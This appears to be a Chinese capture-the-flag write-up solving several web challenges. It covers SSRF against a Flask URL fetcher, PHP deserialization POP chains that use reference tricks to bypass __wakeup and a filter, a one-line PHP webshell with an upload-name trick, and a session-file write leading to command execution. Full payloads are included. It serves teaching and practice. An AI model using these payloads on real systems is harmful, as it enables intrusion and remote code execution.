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考点：审计py代码
from flask import Flask, request, jsonify import requests from flag import flag # 假设从 flag.py 文件中导入了 flag 函数 app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def getinfo(): url = request.args.get('url') if url: # 请求url response = requests.get(url) content = response.text print(content) if "paluctf" in content: return flag else: return content else: response = { 'message': 200, # 这里是数值，不是字符串 'data': "Come sign in and get the flag!" } return jsonify(response) @app.route('/flag', methods=['GET', 'POST']) def flag1(): return "paluctf" if __name__ == '__main__': app.run(debug=True, host="0.0.0.0", port=80)http://127.0.0.1:50258/?url=http://localhost/flagR23
考点：
1.采用&引用绕过_wakeup()魔术方法
2.PHP序列化中的R与r (frankli.site)
3.无用数据再引用绕过R:2
源代码：
<?php show_source(__FILE__); class a{ public function __get($a){ $this->b->love(); } } class b{ public function __destruct(){ $tmp = $this->c->name; } public function __wakeup(){ $this->c = "no!"; $this->b = $this->a; } } class xk{ public function love(){ system($_GET['a']); } } if(preg_match('/R:2|R:3/',$_GET['pop'])){ die("no"); } unserialize($_GET['pop']);出口函数： xy类里面的system($_GET['a']);入口一看就是b类,__wakeup->__destruct->__get->love，越过wakeup魔术方法可采用数组模式 但没有 还可以采用&引用绕过
$s=new b(); $s->c=&$s->b; $s->a=new a(); $s->a->b=new xk(); echo serialize($s);得到O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}
if(preg_match('/R:2|R:3/',$_GET['pop'])){ die("no"); }但是题目不能出现R:2，加个无用数据再引用会变成R:4
$s=new b(); $s->c=&$s->b; $s->a=new a(); $s->a->b=new xk(); $m=array(); $m[0]='1'; $m[1]=$s; echo serialize($m);POC:
?pop=a:2:{i:0;s:1:"1";i:1;O:1:"b":3:{s:1:"b";N;s:1:"c";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}}&a=cat /f*
宇宙召唤
考点：
1.不超过1KB的小马 <?=`$_GET[1]`;
2.*可以截断文件名 比如1php*.png=1.php
3.添加文件头绕过
按照考点做就行了
php不行 一步一步修改
my love
考点：
1.反序列化中session利用
2. 采用&引用绕过_wakeup()魔术方法
源码 ：
<?php class a{ public function __get($a){ $this->b->love(); } } class b{ public function __destruct(){ $tmp = $this->c->name; } public function __wakeup(){ $this->c = "no!"; $this->b = $this->a; } } class xk{ public function love(){ $a = $this->mylove; } public function __get($a){ if(preg_match("/\.|\.php/",$this->man)){ die("文件名不能有."); } file_put_contents($this->man,base64_decode($this->woman)); } } class end{ public function love(){ ($this->func)(); } } if(isset($_GET['pop'])) { unserialize($_GET['pop']); if(preg_match("/N$/",$_GET['test'])){ $tmp = $_GET['test']; } } else{ show_source(__FILE__); phpinfo(); } if($$tmp['name']=='your are good!'){ echo 'ok!'; system($_GET['shell']);根据代码发现 有两个函数出口
file_put_contents($this->man,base64_decode($this->woman)); ($this->func)();那我们就可以先利用第一个写入 session文件，然后利用第二个读取，从而RCE
1.file_put_contents($this->man,base64_decode($this->woman));
<?php class a{ public $a; } class b{ public $a; public $b; public $c; } class xk{ public $man='/var/lib/php/session/sess_1';//phpinfo获取 public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';// name|s:14:"your are good!"; } class end{ } $m=new b(); $m->b = &$m->c; $m->a = new a(); $m->a->b = new xk(); echo serialize($m);得到如下 然后上传
O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:7;} 
2.下面读取session文件
<?php class a{ public $a; } class b{ public $a; public $b; public $c; } class xk{ public $man='/var/lib/php/session/sess_1';//phpinfo获取 且定义文件名为1 public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';// name|s:14:"your are good!"; } class end{ public $func='session_start'; } $m=new b(); $m->b = &$m->c; $m->a = new a(); $m->a->b = new end(); echo serialize($m);O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}然后一起传参
?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:5;}&test=_SESSION&shell=cat+f*test=_SESSION读取序列化文件数据，这里要加个Cookie: PHPSESSID = 1 上面定义了文件名为1
小知识点：session的存放位置 - 三哥~！ - 博客园 (cnblogs.com)
